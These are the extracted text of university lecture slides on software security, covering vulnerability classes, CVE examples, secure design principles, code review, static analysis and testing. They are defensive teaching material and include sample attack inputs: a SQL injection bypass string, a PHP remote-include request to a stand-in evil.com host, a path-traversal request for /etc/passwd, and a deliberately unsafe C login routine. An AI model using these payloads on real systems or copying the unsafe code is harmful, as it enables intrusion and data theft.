Title: Software Security
1CSC 382/582 Computer Security
2Topics
- Why Software?
- What is Software Security?
- Vulnerabilities
- CVE Top 8 Security Bugs
- Secure design principles and processes
- Secure programming
- Code reviews
- Security testing
3The Problem is Software
- Malicious hackers dont create security holes
they simply exploit them. Security holes and
vulnerabilities the real root cause of the
problem are the result of bad software design
and implementation. - John Viega Gary McGraw
4Traditional Security is Reactive
- Perimeter defense (firewalls)
- Intrusion detection
- Over-reliance on cryptography
- Penetrate and patch
5Penetrate and Patch
- Discover flaws after deployment.
- Often by attackers.
- Users may not deploy patches.
- Patches may have security flaws (15?)
- Patches are maps to vulnerabilities.
- Attackers reverse engineer to create attacks.
6A Growing Problem
7Why is Software Security poor?
- Security is seen as something that gets in the
way of software functionality. - Security is difficult to assess and quantify.
- Security is often not a primary skill or interest
of software developers. - Time spent on security is time not spent on
adding new and interesting functionality.
8The Trinity of Trouble
- Complexity
- Continually increasing.
- Windows 3.1 (3mloc) to Windows XP (40mloc)
- Extensibility
- Plugins.
- Mobile code.
- Connectivity
- Network access.
- Wireless networking.
9Software Complexity
- 5-50 bugs per/kloc8
- 5/kloc rigorous quality assurance testing (QA)
- 50/kloc typical feature testing
10Software Connectivity
- Internet connectivity nearly ubiquitous.
- 802.11 wireless networking.
- Bluetooth wireless personal area networking.
- Embedded devices often networked.
- Can your cellphone get a virus?
- Symbian Bluetooth virus released in 2004.
- Can your automobile get a virus?
- BT discovery reveals embedded BT devices in
high-end cars.
11What is Software Security?
- Producing software that functions correctly even
when under attack. - Integrating security practices throughout the
software development lifecycle - Requirements
- Design
- Coding
- Testing
12What isnt Software Security?
- Software security ! Security software
- Anti-virus software can be insecure.
- Authentication software can be insecure.
- Firewalls can be insecure.
- Software security isnt a function
- Its an emergent property like reliability or
usability.
13Vulnerabilities
- Vulnerability A defect in software that allows
security policy to be violated. - Confidentiality
- Integrity
- Availability
- Ex Allowing users to create self-replicating
objects on a game server. - Exploit A program that exercises a vulnerability.
14Attack of the Rings
- Second Life denial of service attack Nov 19
- Rings multiplied when interacted with.
- Heavy database load resulted in DoS attack.
- Third attack since September 2006.
- Incident response faster than in prior attacks.
15Vulnerability Databases
- Collect vulnerability reports.
- Vendors maintain databases with patches for their
own software. - Security firms maintain databases of
vulnerabilities that theyve discovered. - Well known vulnerability databases
- CERT
- CVE
- NVD
- OSVDB
16Why Vulnerability Databases?
- Know about vulnerabilities to software that you
have deployed so you can mitigate them. - Learn about vulnerability trends. If a JPG
library bug is discovered, does the same type of
bug exist in GIF or PNG libraries? - Learn about security problems to prevent when
youre programming.
17CVE Common Vulnerabilities and Exposures
- Problem Different researchers and vendors call
vulnerabilities by different names. - Solution CVE, a dictionary that provides
- A common public name for each vulnerability.
- A common standardized description.
- Allows different tools / databases to
interoperate.
18CVE-2002-1185
- Name CVE-2002-1185
- Status Entry
- Description Internet Explorer 5.01 through 6.0
does not properly check certain parameters of a
PNG file when opening it, which allows remote
attackers to cause a denial of service (crash) by
triggering a heap-based buffer overflow using
invalid length codes during decompression, aka
"Malformed PNG Image File Failure." - References
- VULNWATCH20021211 PNG Deflate Heap Corruption
Vulnerability - BUGTRAQ20021212 PNG Deflate Heap Corruption
Vulnerability - EEYEAD20021211
- MSMS02-066
- XFie-png-bo(10662)
- BID6216
- OVALovalorg.mitre.ovaldef393
19NVD National Vulnerability DB
- Collects all publicly available government
vulnerability resources. - HTML and XML output at http//nvd.nist.gov/
- Uses CVE naming scheme.
- Links to industry and govt reports.
- Provides CVSS severity numbers.
- Links to OVAL repository.
20Categories of Security Flaws
- Architectural/design-level flaws security issues
that original design did not consider or solve
correctly. - Implementation flaws errors made in coding the
design. - Operational flaws problems arising from how
software is installed or configured.
21Architecture/Design Flaws
- Race Condition
- Application checks access control, then accesses
a file as two separate steps, permitting an
attacker to race program and substitute the
accessible file for one thats not allowed. - Replay Attack
- If an attacker can record a transaction between a
client and server at one time, then replay part
of the conversation without the application
detecting it, a replay attack is possible. - Sniffing
- Since only authorized users could directly access
network in original Internet, protocols like
telnet send passwords in the clear.
22Implementation Flaws
- Buffer overflow
- Application with fixed-size buffer accepts
unlimited length input, writing data into memory
beyond buffer in languages w/o bounds checking
like C/C. - Input validation
- Application doesnt check that input has valid
format, such as not checking for ../ sequences
in pathnames, allowing attackers to traverse up
the directory tree to access any file. - Back door
- Programmer writes special code to bypass access
control system, often for debugging or
maintenance purposes.
23Operational Flaws
- Denial of service
- System does not have enough resources or ability
to monitor resources to sustain availability
under large number of requests. - Default accounts
- Default username/password pairs allow access to
anyone who knows default configuration. - Password cracking
- Poor passwords can be guessed by software using
dictionaries and permutation algorithms.
24CVE Top 8 Vulnerabilities
- Cross-site Scripting
- SQL Injection
- PHP Includes
- Buffer Overflows
- Path Traversal
- Information Leak
- DOS Malformed Input
- Integer Overflow
25CVE 1 Cross-site Scripting
- Attacker causes a legitimate web server to send
user executable content (Javascript, Flash
ActiveScript) of attackers choosing. - Typical Goal obtain user auth cookies for
- Bank site (transfer money to attacker)
- Shopping site (buy goods for attacker)
- E-mail
26Anatomy of an XSS Attack
Web Server
8. Attacker uses stolen cookie to hijack user
session.
1. Login
2. Cookie
User
Attacker
5. XSS URL
3. XSS Attack
6. Page with injected code.
7. Browser runs injected code.
4. User clicks on XSS link.
Evil Site saves cookie.
27CVE 2 SQL Injection
- Web applications pass parameters when accessing
a SQL database. If an attacker can embed
malicious commands in these parameters, the
external system may execute those commands on
behalf of the web application. - sql SELECT count() from users where
username username and password
password - Unauthorized Access Attempt password or 11
-- - SQL statement becomes
- select count() from users where username
user and password or 11 -- - Checks if password is OR 11, which is always
true.
28CVE 3 PHP Includes
- A PHP product uses "require" or "include"
statements, or equivalent statements, that use
attacker-controlled data to identify code or HTML
to be directly processed by the PHP interpreter
before inclusion in the script.
lt?php //config.php server_root '/my/path'
?gt lt?php //include.php include(server_root .
'/someotherfile.php') ?gt
lt?php // index.php include('config.php')
include('include.php') // Script body ?gt
GET /include.php?server_roothttp//evil.com/comma
nd.txt?
29CVE-2006-5904
- Overview
- Multiple PHP remote file inclusion
vulnerabilities in MWChat Pro 7.0 allow remote
attackers to execute arbitrary PHP code via a URL
in the CONFIGMWCHAT_Libs parameter to (1)
about.php, (2) buddy.php, (3) chat.php, (4)
dialog.php, (5) head.php, (6) help.php, (7)
index.php, and (8) license.php, different vectors
than CVE-2005-1869. - Impact
- CVSS Severity 7.0 (High) Range Remotely
exploitable Authentication Not required to
exploit Impact Type Provides unauthorized
access
30CVE 4 Buffer Overflows
- A program accepts too much input and stores it
in a fixed length buffer thats too small. - char A8
- short B
gets(A)
31CVE-2006-4565
- Overview
- Heap-based buffer overflow in Mozilla Firefox
before 1.5.0.7, Thunderbird before 1.5.0.7, and
SeaMonkey before 1.0.5 allows remote attackers to
cause a denial of service (crash) and possibly
execute arbitrary code via a JavaScript regular
expression with a "minimal quantifier. -
- Impact
- CVSS Severity 7.0 (High) Range Remotely
exploitable Authentication Not required to
exploit Impact Type Provides unauthorized
access , Allows disruption of service
32CVE 5 Directory Traversal
- The software, when constructing file or
directory names from input, does not properly
cleanse special character sequences that resolve
to a file or directory name that is outside of a
restricted directory. - filename /usr/local/www/template/usertemp
- open TEMP, filename
- while (ltTEMPgt)
- print
-
- GET /vulnerable?usertemp../../../../etc/passwd
33CVE-2006-6033
- Overview
- Multiple directory traversal vulnerabilities in
Simple PHP Blog (SPHPBlog), probably 0.4.8, allow
remote attackers to read arbitrary files and
possibly include arbitrary PHP code via a .. (dot
dot) sequence in the blog_theme parameter in (1)
index.php, (2) add_cgi.php, (3) add_link.php, (4)
login.php, (5) template.php, or (6) contact.php.
- Impact
- CVSS Severity 7.0 (High) Range Remotely
exploitable Authentication Not required to
exploit Impact Type Provides unauthorized
access
34CVE 8 Integer Overflow
- An integer overflow is when integer operations
produce a value that exceeds the computers
maximum integer value, causing the value to wrap
around to a negative value or zero.
3532-bit Integer Quiz
- What two non-zero integers x and y satisfy the
equation x y 0? - What negative integer (-x) has no corresponding
positive integer (x)? - List two integers x and y, such that x y lt 0.
- What is the unique negative integer x that has
the propery x x 0?
36Quiz Answers
- 65536 65536 0
- or 256 16777256 0
- or any x y 232
- 2. -2147483648
- 2147483647 1 -2147483648
- -2147483648 -2147483648 0
37Are Integer Overflows Important?
- Broward County November 2004 election
- Amendment 4 vote was reported as tied.
- Software from ESS Systems reported a large
negative number of votes. - Discovery revealed that Amendment 4 had passed by
a margin of over 60,000 votes.
38How can design securely?
- What about using checklists?
- Learn from our and others mistakes.
- Avoid known errors buffer overflow, code
injection, race conditions, etc. - Too many known problems.
- What about unknown problems?
39How can design securely?
- Think about security from the beginning.
- Evaluate threats and risks in requirements.
- Once we understand our threat model, then we can
begin designing an appropriate solution. - Security requirements
- Confidentiality
- Integrity
- Availability
40How can design securely?
- Apply Secure Design Principles
- Guidelines for security design.
- Not a guarantee of security.
- Tradeoffs between different principles
41Security Design Principles
- Least Privilege
- Fail-Safe Defaults
- Economy of Mechanism
- Complete Mediation
- Open Design
- Separation of Privilege
- Least Common Mechanism
- Psychological Acceptability
42Least Privilege
- A subject should be given only those privileges
necessary to complete its task. - Function, not identity, controls.
- Rights added as needed, discarded after use.
- Minimal protection domain.
- Most common violation
- Running as administrator or root.
- Use runas or sudo instead.
43Least Privilege Example
- Problem A web server.
- Serves files under /usr/local/http.
- Logs connections under /usr/local/http/log.
- HTTP uses port 80 by default.
- Only root can open ports lt 1024.
- Solution
- Web server runs as root user.
- How does this solution violate the Principle of
Least Privilege and how could we fix it?
44How do we run with least privilege?
- List required resources and special tasks
- Files
- Network connections
- Change user account
- Backup data
- Determine what access you need to resources
- Access Control model
- Do you need create, read, write, append, etc.?
45Fail-Safe Defaults
- Default action is to deny access.
- If an entity isnt explictly given access, it
does not have access to a resource. - Example Use whitelists to accept valid input
instead of blacklists to deny bad input. - Question
- When a switch receives too many MAC addresses to
store MAC address/port mappings, it reverts to
behaving as a hub sending all packets to all
ports. - Do switches follow the principle of fail-safe
defaults?
46Fail Safe Defaults Example
- Problem Retail credit card transaction.
- Card looked up in vendor database to check for
stolen cards or suspicious transaction pattern. - What happens if system cannot contact vendor?
- Solution
- No authentication, but transaction is logged.
- How does this system violate the Principle of
Fail-Safe Defaults?
47Economy of Mechanism
- Keep it as simple as possible (KISS).
- Use the simplest solution that works.
- Fewer cases and components to fail.
- Reuse known secure solutions
- i.e., dont write your own cryptography.
48Economy of Mechanism Example
- Problem SMB File Sharing Protocol.
- Used since late 1980s.
- Newer protocol version protects data integrity by
employing packet signing technique. - What do you do about computers with older
versions of protocol? - Solution
- Let client negotiate which SMB version to use.
- How does this solution violate economy of
mechanism?
49Complete Mediation
- Check every access.
- Usually checked once, on first access
- UNIX File ACL checked on open(), but not on
subsequent accesses to file. - If permissions change after initial access,
unauthorized access may be permitted. - Performance vs. security tradeoff.
50Open Design
- Security should not depend on secrecy of design
or implementation. - Popularly misunderstood to mean that source code
should be public. - Security through obscurity
- Refers to security policy and mechanism, not
simple user secrets like passwords and
cryptographic keys.
51Open Design Example
- Problem MPAA wants control over DVDs.
- Region coding, unskippable commercials.
- Solution CSS (Content Scrambling System)
- CSS algorithm kept secret.
- DVD Players need player key to decrypt disk key
on DVD to descript movie for playing. - Encryption uses 40-bit keys.
- People w/o keys can copy but not play DVDs.
- What happened next?
- CSS algorithm reverse engineered.
- Weakness in algorithm allows disk key to be
recovered in an attack of complexity 225, which
takes only a few seconds.
52Closed Source
- Security through obscurity.
- Assumes code in binary cant be read
- what about disassemblers?
- what about decompilers?
- what about debuggers?
- what about strings, lsof, truss, /proc?
- Reverse engineering.
- Are electronic voting machines secure because
their source is hidden?
53Open Source
- Linus Law Given enough eyeballs, all bugs are
shallow. - Not so effective for security
- More incentives to add features than security.
- Few people have skills to find security holes.
- Having source eliminates a barrier to entry for
crackers.
54Separation of Privilege
- Require multiple conditions to grant access.
- Example Two-factor authentication
- Need PIN and card to access ATMs.
- Example Defense in Depth
- Network firewall to protect network.
- NIDS to detect network problems.
- Personal firewall to protect hosts.
- HIDS to detect host problems.
55Least Common Mechanism
- Mechanisms used to access resources should not be
shared. - Information can flow along shared channels.
- Covert channels.
- Example
- Move mail and web server processes onto different
hosts, so they do not share disk or processes. - Contradicts Economy of Mechanism?
56Psychological Acceptability
- Security mechanisms should not add to the
difficulty of accessing a resource. - Hide complexity introduced by security
mechanisms. - Ease of installation, configuration, and use.
- Human factors critical here.
57Psychological Acceptability
- Users will not read documentation.
- Make system secure in default configuration.
- Users will not read dialog boxes.
- Dont offer complex choices.
- example Mozilla/IE certificate dialogs.
- Privacy vs Usability
- example one-click shopping
58Psychological Acceptability Example
- Problem Your workstation is myws, but you log
into green every day to do other tasks and dont
want to type your password. - Solution Let green trust myws.
- Create /.rhosts file on green that lists myws as
trusted host, then rlogin green will allow access
without a password. - Does this solution violate other principles?
- Is there a more secure alternative solution?
59Case Study Postfix vs Sendmail
- Sendmail
- monolithic program with root privileges
- Postfix
- separate programs with different privileges
- smptd listens to network (port 25)
- sendmail accepts local mail
- postdrop setgid drops in maildrop directory
- pickup retrieves mail from maildrop
60Secure Software Processes
- Software security requires more than a best
effort attempt at - Following secure design principles.
- Not making security mistakes while coding.
- Need a process for software assurance
- Risk analysis
- Design and code reviews
- Testing
61Code Reviews
- Fix implementation bugs, not design flaws.
- Benefits of code reviews
- Find defects sooner in the lifecycle.
- Find defects with less effort than testing.
- Find different defects than testing.
- Educate developers about security flaws.
62Code Auditing
- Why code reviews?
- HP and ATT claim 20-30X more effective than
testing alone. - IBM discovers 82 of defects in reviews before
testing. - Code reviews are good for finding
- Requirements errors.
- Design flaws.
63Code Review Checklists
- Security reviews should include checklists of
common problems, including - buffer overflows
- integer overflows
- input validation
- checking return values
- resource name canonicalization
- race conditions
64Code Review Problems
- Requires substantial expertise in area of coding
and security to be effective. - Human readers are fallible, and will miss
mistakes.
65Static Analyis
- Solution Let a program analyze your source code
for security flaws. - Range of approaches
- Standard compiler warnings and type checking.
- Lexing source checkers that look for bad names
like strcpy() and gets(). - Parsing source code checkers.
- Formal proof based program verification.
66Static Analysis Tools
- Automated assistance for code reviews
- Speed review code faster than humans can
- Accuracy 100s of secure coding rules
- False Positives
- Tool reports bugs in code that arent there.
- Complex control or data flow can confuse tools.
- False Negatives
- Tool fails to discover bugs that are there.
- Code complexity or lack of rules to check.
67Static Analysis Tools
- Lexing source code checkers.
- flawfinder
- ITS4
- RATS
- Parsing checkers annotation.
- Fortify
- Klocwork
- splint
68login.c
- int validatePassword(const char plain_pass)
- return !strcmp( cipher_pass,
crypt(plain_pass, cipher_pass) ) -
- int login()
- int nAttempts0int maxAttempts3char
password64int success0 - do
- printf( "\npassword " )
- gets( password )
- success validatePassword( password )
- if( success )
- break
- while( nAttempts lt maxAttempts )
- return success
-
- void main(int argc, char argv)
- int success 0 char username64
- strcpy( username, argv1 )
- success login()
- if( success )
69login.c splint output
- Splint 3.1.1 --- 15 Jun 2004
- login.c (in function validatePassword)
- login.c2213 Operand of ! is non-boolean (int)
- !strcmp(cipher_pass,
crypt(plain_pass, cipher_pass)) - The operand of a boolean operator is not a
boolean. Use ptrnegate to allow ! - to be used on pointers. (Use -boolops to
inhibit warning) - login.c2212 Return value type boolean does not
match declared type int - !strcmp(cipher_pass,
crypt(plain_pass, cipher_pass)) - To make bool and int types equivalent, use
boolint.
70login.c splint output
- login.c (in function login)
- login.c349 Use of gets leads to a buffer
overflow vulnerability. Use fgets - instead gets
- Use of function that may lead to buffer
overflow. (Use -bufferoverflowhigh to - inhibit warning)
- login.c349 Return value (type char ) ignored
gets(password) - Result returned by function call is not used.
If this is intended, can cast - result to (void) to eliminate message. (Use
-retvalother to inhibit warning) - login.c3613 Test expression for if not
boolean, type int success - Test expression type is not boolean or int.
(Use -predboolint to inhibit warning)
71login.c splint output
- login.c436 Function main declared to return
void, should return int - The function main does not match the expected
type. (Use -maintype to inhibit - warning)
- login.c (in function main)
- login.c519 Test expression for if not boolean,
type int success - login.c5611 Return expression from function
declared void (success) - Types are incompatible. (Use -type to inhibit
warning)
72login.c splint output
- login.c196 Variable exported but not used
outside login cipher_pass - A declaration is exported, but not used outside
this module. Declaration can - use static qualifier. (Use -exportlocal to
inhibit warning) - login.c215 Function exported but not used
outside login validatePassword - login.c231 Definition of validatePassword
- login.c255 Function exported but not used
outside login login - login.c411 Definition of login
- Finished checking --- 12 code warnings
73Dynamic Analysis Memory Checking
- Tools like purify and valgrind check C/C code
memory access at runtime. - Use of unitialized memory.
- Memory access after free()/delete.
- Out-of-bounds memory access.
- Access to inappropriate areas of stack.
- Memory leaks.
- Overlapping source and dest pointers in memcpy()
and similar functions.
74Testing Caveat
-
- "Testing can establish the presence of errors,
but never their absence." - Dijkstra
75White and Black Box Testing
- White Box Testing
- Testing guided by the source code and design
documentation. - May be approximated by decompiling or
disassembling binary code. - Black Box Testing
- Testing without access to system code.
76Penetration Testing
- Test software in deployed environment.
- Allocate time at end of development to test.
- Often time-boxed test for n days.
- Schedule slips often reduce testing time.
- Fixing flaws is expensive late in lifecycle.
- Penetration testing tools
- Test common vulnerability types against inputs.
- Fuzzing send random data to inputs.
- Dont understand application structure or purpose.
77Security Testing
Injection flaws, buffer overflows, XSS, etc.
Functional testing will find missing
functionality.
Intendended Functionality
Actual Functionality
78Security Testing
- Two types of testing
- Functional verify security mechanisms.
- Adversarial verify resistance to attacks
generated during risk analysis. - Different from traditional penetration testing
- White box.
- Use risk analysis to build tests.
- Measure security against risk model.
79Input-based Example Attacks
- Overly large input.
- Can you trigger a buffer overflow?
- Out of range values.
- Can you create an integer overflow?
- Unexpected characters.
- Can you supply any metacharacters that will be
used by application in an unsafe manner? - Check for default accounts.
80Input-based Example Attacks
- Modify input semantics.
- How does system handle a parameter supplied
multiple times? Does it check input once, then
use the other version of parameter? - What does application do with unknown
parameters/fields? - Use non-canonical resource names to check for
directory traversal flaws.
81Fuzz Testing
- Black-box input based testing technique.
- Uses random data.
- Easily automated.
- If application crashes or hangs, it fails.
- Results of 1995 study9.
- 15-43 of utilities from commerical UNIX systems
failed. - 9 of Linux utilities failed.
- 6 of GNU utilities failed.
- 50 of X-Windows utilities failed.
82Browser Fuzz Testing
- Michael Zalewskis mangleme CGI14
- Generated streams of malformed HTML.
- Most browsers crashed due to
- NULL pointers.
- Memory corruption.
- Buffer overflows.
- Memory exhaustion.
- Exception MSIE
83Creating a Test Plan
- Base Test Plan on Threat Model
- Decompose application into components.
- Identify entry points for each component.
- Prioritize testing effort based on risk
evaluation for each threat. - Use threat trees to guide implementation of
specific tests.
84Attack Trees
- Decompose threats into individual, testable
- conditions using attack trees.
- Attack Trees
- Hierarchical decomposition of a threat.
- Root of tree is adversarys goal in the attack.
- Each level below root decomposes the attack into
finer approaches. - Child nodes are ORed together by default.
- Special notes may indicate to AND them.
85Attack TreesGraph Notation
- Goal Read file from password-protected PC.
86Attack TreesText Notation
- Goal Read message sent from one PC to another.
- 1. Convince sender to reveal message.
- 1.1 Blackmail.
- 1.2 Bribe.
- 2. Read message when entered on senders PC.
- 1.1 Visually monitor PC screen.
- 1.2 Monitor EM radiation from screen.
- 3. Read message when stored on receivers PC.
- 1.1 Get physical access to hard drive.
- 1.2 Infect user with spyware.
- 4. Read message in transit.
- 1.1 Sniff network.
- 1.2 Usurp control of mail server.
87References
- Matt Bishop, Introduction to Computer Security,
Addison-Wesley, 2005. - Simson Garfinkel, Gene Spafford, and Alan
Schartz, Practical UNIX and Internet Security,
3rd edition, OReilly Associates, 2003. - Mark Graff and Kenneth van Wyk, Secure Coding
Principles Practices, OReilly, 2003. - Greg Hoglund and Gary McGraw, Exploiting
Software How to Break Code, Addison-Wesley,
2004. - Michael Howard, David LeBlanc, and John Viega, 19
Deadly Sins of Software Security, McGraw-Hill
Osborne, 2005. - Michael Howard, David LeBlanc, Writing Secure
Code, 2nd edition, Microsoft Press, 2003. - Michael Howard and Steve Lipner, The Security
Development Lifecycle, Microsoft Press, 2006. - Robert Lemos, Second life plagued by 'grey goo'
attack, The Register http//www.theregister.co.uk
/2006/11/24/secondlife_greygoo_attack/, Nov 24,
2006. - Gary McGraw, Software Security, Addison-Wesley,
2006. - John Viega and Gary McGraw, Building Secure
Software, Addison-Wesley, 2002. - David Wheeler, Secure Programming for UNIX and
Linux HOWTO, http//www.dwheeler.com/secure-progra
ms/Secure-Programs-HOWTO/index.html, 2003.